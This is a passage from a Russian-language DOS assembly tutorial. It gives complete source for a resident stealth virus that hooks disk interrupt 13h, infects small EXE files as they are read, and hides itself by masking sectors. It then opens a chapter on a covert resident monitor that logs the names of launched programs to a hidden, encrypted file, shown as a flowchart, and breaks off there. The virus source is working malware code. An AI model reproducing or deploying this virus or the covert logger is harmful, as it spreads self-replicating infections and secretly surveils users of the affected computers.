-----------------------------------------------------------¬
¦ пример 15 ¦:
L-----------------------------------------------------------
TITLE Это - COM. программа N15 -- уже достаточно интеллектуальный вирус
ASSUME CS:CodeSegment
;-------------------------------------------------------------------------
CodeSegment SEGMENT PARA
ORG(100h)
Start:
MainProcedure PROC NEAR
;
;
head: JMP Short initial ;прыжок через данные
;
;------------------------------ данные -----------------¬
header_info DB 62 DUP(0) ;хранилище настроек ¦
namef DB 'C:\TH$.EXE',0 ;этот файл мы пишем-запускаем-сти-¦
; ; раем ¦
; ; ¦
f_number DW 0 ;хранилище описателя файла ¦
; ; ¦
; ;блок параметров EXEC процесса --¬¦
exec_EPB DW 0 ; сегментный адрес строки вызовদ
DW 80h ;-Tуказатель на командн. строку ¦¦
DW 0 ;-- в PSP PSP:80h ¦¦
DW 5Ch ;-Tуказатель на блок FCB1 ¦¦
DW 0 ;-- в PSP PSP:5Ch ¦¦
DW 6Ch ;-Tуказатель на блок FCB2 ¦¦
DW 0 ;-- в PSP PSP:6Ch ---------------¦
; ; ¦
; ; ¦
; ; ¦
; ;данные (хранилище для ¦
saved_int13: DD 0 ; адреса стандартного обра- ¦
;¦ ; ботчика прерывания 13h ¦
;L---------------------- -- 2 слова) --------------------
;
;
;---посадка резидента в MCB-блок------------------------¬
;L-------------------------------------------------------
initial: MOV AX,CS:[02] ;берем вершину свободной памяти
; ; (в параграфах)
;
SUB AX,20h ;уменьшаем ее на 20h (в парагр.)
;
MOV SI,OFFSET head ;копируем из источника DS:head
MOV ES,AX ;копируем в приемник ES:00; в ES
XOR DI,DI ; - новая вершина своб. памяти
MOV CX,OFFSET rezident_end - OFFSET head
CLD
REPE MOVSB
;
MOV BX,DS
DEC BX
MOV DS,BX ;уменьшаем размер МСВ-блока
SUB word ptr DS:[03h],20h ;уменьшаем вершину свободной
SUB word ptr DS:[12h],20h ; памяти
;
;
XOR BX,BX ; сохраняем старый вектор
MOV DS,BX ; 13h в переслан. копию
MOV AX,DS:[13h*4+0]
MOV word ptr ES:[saved_int13-100h+0],AX
MOV AX,DS:[13h*4+2]
MOV word ptr ES:[saved_int13-100h+2],AX
;
CLI ;кладем в таблицу векторов наш 13
MOV word ptr DS:[13h*4+0],OFFSET int13_treater-100h ;->OFFSET
MOV word ptr DS:[13h*4+2],ES ;------>SEGMENT
STI
;
;-----запись зараженной программы во вспомогательный----¬
;¦ файл на диск ¦
;L-------------------------------------------------------
PUSH CS
POP DS
MOV DX,OFFSET namef ;DS:[DX] адрес ASCIZ (имя файла)
MOV CX,0 ;атрибут файла (0-нормальн.)
MOV AH,3Ch ;функция "открыть для создания"
INT 21h ;при открытии файлу присвоят номер
MOV CS:[f_number],AX ;сохраним номер файла
;
MOV BX,AX ;занесем номер файла в BX
MOV DX,OFFSET head ;ES:[DX] адрес буфера вывода
MOV CX,0FEEEh ;CX=сколько байт из буфера запишем
MOV AH,40h ;функция "записать в файл"
INT 21h
;
MOV BX,CS:[f_number] ;занесем номер файла в BX
MOV AH,3Eh ;функция "закрыть файл"
INT 21h
;
;
;-----запуск вспомоготельного файла (резидент поможет)--¬
;L-------------------------------------------------------
MOV AX,OFFSET starter_end + 200h ;необходимо позаботиться
MOV CX,CS ; о стеке (он должен быть перемещен
CLI ; в охраняемую область, начинающуюся
MOV SS,CX ; следом за кодом процесса-родителя
MOV SP,AX ; и не наследуемую дочерним процессом)
STI
;
MOV AH,4Ah ;необходимо дать место дочернему про-
PUSH CS ; цессу (для этого нужно сжать блок
POP ES ; памяти родителя до граници охраняе-
MOV BX,60h ; мой области (стек+хранилище SS,ES,
INT 21h ; SP); ES-сегмент; BX-длина (в па-
; ; раграфах) охраняемой области)
;
MOV word ptr CS:[save_arrea+0],SS ;необходимо сохранить
MOV word ptr CS:[save_arrea+2],SP ; значения регистров
MOV word ptr CS:[save_arrea+4],ES ; SS,SP,ES,DS
MOV word ptr CS:[save_arrea+6],DS ;
;
;
MOV CX,20h ;сохранение DTA----¬
MOV SI,80h ; ¦
MOV DI,OFFSET starter_end + 8 ; DS:SI ---> ES:DI ¦
CLD ; ¦
REPE MOVSB ;-------------------
;
;
PUSH CS ;необходимо заполнить блок параметров
POP DS ; запускаемого дочернего процесса
MOV AX,CS ; (указываем сегмент. адрес PSP
MOV exec_EPB+4h,AX ; для родительского
MOV exec_EPB+8h,AX ; процесса)
MOV exec_EPB+0Ch,AX ;
MOV DX,OFFSET namef ;DS:DX адрес ASCIIZ строки имени
MOV BX,OFFSET exec_epb ;ES:BX адрес блока параметров EPB
XOR AL,AL ;код запуска = 0 (EXECUTE)
MOV AH,4Bh
INT 21h
;
;
CLI
MOV SS,word ptr CS:[save_arrea+0] ;восстановление
MOV SP,word ptr CS:[save_arrea+2] ; сохраненных
MOV ES,word ptr CS:[save_arrea+4] ; ранее регистров
MOV DS,word ptr CS:[save_arrea+6]
STI
;
MOV CX,20h ;восстановление DTA¬
MOV DI,80h ; ¦
MOV SI,OFFSET starter_end + 8 ; ES:DI ---> DS:SI ¦
CLD ; ¦
REPE MOVSB ;-------------------
;
;------стираем записанный ранее вспомогат. файл-------¬
;L-----------------------------------------------------
MOV DX,OFFSET namef
MOV AH,41h
INT 21h
;
INT 20h ;выход в DOS
;
;
;-----------наша п/п-а обработки прерывания 13-----------------¬
int13_treater:;¦ (целиком наследуется от V2, лишь корректи- ¦
;¦ руются кое-какие адреса -- учет отсутствия PSP) ¦
m1: PUSH AX ; ¦
PUSH BX ; ¦
m2: PUSH ES ; ¦
;- предворительные анализы------------------------------------¬¦
;L-------------------------------------------------------------¦
CMP AH,02 ;файл читается? нет - уходим, ¦
JNE return_int ; возвращая прерыв-е 13 за- ¦
; ; конному владельцу ¦
PUSHF ; ¦
CALL dword ptr CS:[saved_int13-100h] ;чтение под контролем ¦
; ; ¦
CMP word ptr ES:[BX],5A4Dh ;ЕХЕ-файл? ¦
JE take_care_of ; да -- познакомимся поближе ¦
; ; нет - проверим нет ли в чи-¦
; ; таемом секторе самогО вируса
; ; ¦
CMP word ptr ES:[BX+m1-100h],5350h; читается сектор(а), содер-¦
JNE no_virus ; +-- жащий(ие) сам вирус? ¦
CMP word ptr ES:[BX+m2-100h],8006h; 5350h,8006h - его сигнатура
JNE no_virus ;-- нет -- выходим из прерыв-я¦
MOV word ptr ES:[BX],5A4Dh ; ¦
; ; ¦
;---СТЕЛС-маскировка------------------------------------------¬¦
;L-------------------------------------------------------------¦
PUSH DI ; ¦
PUSH CX ; ¦
MOV CX,200h-40h ; ¦
MOV DI,40h ; ¦
mask_another: MOV byte ptr ES:[BX+DI],00 ; ¦
INC DI ; ¦
LOOP mask_another ; ¦
POP CX ; ¦
POP DI ; ¦
; ; ¦
JMP Short EXE_simul ;симуляция ЕХЕ-файла ¦
; ; ¦
take_care_of: ;-------дополнительная проверка пригодности ЕХЕ-файла:--------¬¦
;L-------------------------------------------------------------¦
CMP word ptr ES:[BX+8],20h ;достаточно ли велик заголо- ¦
JB bad_EXE ; вок? (годится не менее 20h)¦
CMP word ptr ES:[BX+6],08h ;достаточно ли мала relocation¦
JA bad_EXE ; ? (годится не более 8h) ¦
CMP word ptr ES:[BX+4],77h ;достаточно ли мал ЕХЕ-файл? ¦
JA bad_EXE ; (годится не более 77h*512) ¦
; ; ¦
;------репродуктивная часть; (жертва найдена !)---------------¬¦
;L-------------------------------------------------------------¦
landing_craft:PUSH DI ;в тело вируса копируются на- ¦
PUSH SI ; стройки ЕХЕ-заголовка ¦
PUSH CX ; (2 параграфа) ¦
MOV CX,3Eh ; ¦
MOV DI,OFFSET header_info -100h ; если здесь применить обычно¦
MOV SI,BX ; столь экономичную конструк-¦
send_another: MOV AL,ES:[SI+2] ; цию REP MOVS, то мороки бу-¦
MOV byte ptr CS:[DI],AL ; дет больше ¦
INC DI ; ¦
INC SI ; ¦
LOOP send_another ; ¦
POP CX ; ¦
POP SI ; ¦
POP DI ; ¦
; ¦
MOV AX,0301h ;производится высадка в зара- ¦
MOV BX,OFFSET head-100h ; жаемый файл ¦
PUSH CS ; ¦
POP ES ; ¦
; ; ¦
return_int: PUSHF ; ¦
CALL dword ptr CS:[saved_int13-100h] ; ¦
; ; ¦
;-эти метки -- чисто для мнемоники; на каждую управление пере-¬¦
;¦дается ПОСЛЕ определенного этапа выполнения ¦¦
;L-------------------------------------------------------------¦
no_virus: ; вирус не нашел ни себя, ни -- пригодного для зараж-я ЕХЕ-файла
EXE_simul: ; вирус нашел себя и симулирует ЕХЕ-файл ¦
bad_EXE: ; вирус разочаровался в ЕХЕ-файле и не стал с ним возиться ¦
POP ES ; ¦
POP BX ; ¦
POP AX ; ¦
IRET ; ¦
;¦ ; ¦
;L--------------------------------------------------------------
rezident_end: ;
starter_end: ;
save_arrea: ;
;
MainProcedure ENDP
;
CodeSegment ENDS
END Start
гл.9 СОЗДАНИЕ "ДРАКОНА", ШПИОНЯЩЕГО ЗА ЗАПУСКОМ ПРОГРАММ
(совсем не сложно, -- в качестве отдыха)
============================================================================
Предположим, вас интересует, какие программы запускались на Вашем компь-
ютере в Ваше отсутствие. Иногда это может помочь локализовать файл, заражен-
ный каким-либо опасным вирусом. При этом пользователю, запускающему программы
иногда совсем не обязательно знать о наличии супервайзера.
Для решения этой задачи необходимо умение работать с файлами - открыть
файл, записать туда что-то, закрыть файл и знание структуры вызова функции
DOS 4Bh (EXEC), ибо именно ее вызов должен иницииравать запись в файл имени
запускаемой программы. Но ведь все это мы уже умеем. Задача до отвращения
проста, -- однако и здесь мы можем познакомиться кое-с-чем новым, а именно -
с функцей DOS 3Dh "открытие файлов в режиме чтения и записи" и с функцией DOS
42h "работа по перемещению файлового указателя".
Вот алгоритм решения. Вообще-то рисовать блок-схему иногда полезно. Если
задача сложна, -- это серьезное облегчение жизни. Итак, вот блок-схема:
-----------------------¬
------------------------+ JMP to_initialization¦
¦ L-----------------------
¦
¦ _/РЕЗИДЕНТНАЯ ЧАТСТЬ\_
¦ INT 21h ------------------------------------------¬
¦ ¦ ¦ а функция ли это N 4Bh? если нет -- ¦
¦ L----->¦ сваливаем на IRET-----------------------¬
¦ L------------------T----------------------- ¦
¦ -------------------+----------------------¬ ¦
¦ ¦перетащить имя запускаемой программы ¦ ¦
¦ ¦в буфер, с одновременной зашифровкой его ¦ ¦
¦ L------------------T----------------------- ¦
¦ -------------------+----------------------¬ ¦
¦ ¦попытаться открыть на чтение/запись файл ¦ ¦
¦ ¦для записи разведданных ¦ ¦
¦ L------------------T----------------------- ¦
¦ -------------------+----------------------¬ ¦
¦ ¦если ошибка открытия файла (он не сущест-¦ ¦
¦ ¦вует), -- создать такой файл ¦ ¦
¦ L------------------T----------------------- ¦
¦ -------------------+----------------------¬ ¦
¦ ¦переместить указатель к концу файла ¦ ¦
¦ L------------------T----------------------- ¦
¦ -------------------+----------------------¬ ¦
¦ ¦записать в файл зашифрованное имя запуска- ¦
¦ ¦емой программы из буфера ¦ ¦
¦ L------------------T----------------------- ¦
¦ -------------------+----------------------¬ ¦
¦ ¦ закрыть файл ¦ ¦
¦ L------------T--------------T-------------- ¦
¦ ¦ IRET ¦<----------------
¦ L---------------
¦
¦ ------------------------------------------¬
L-------------->¦сажаем резидент в МСВ-блок (работает 1раз)
L------------------------------------------
Далее
|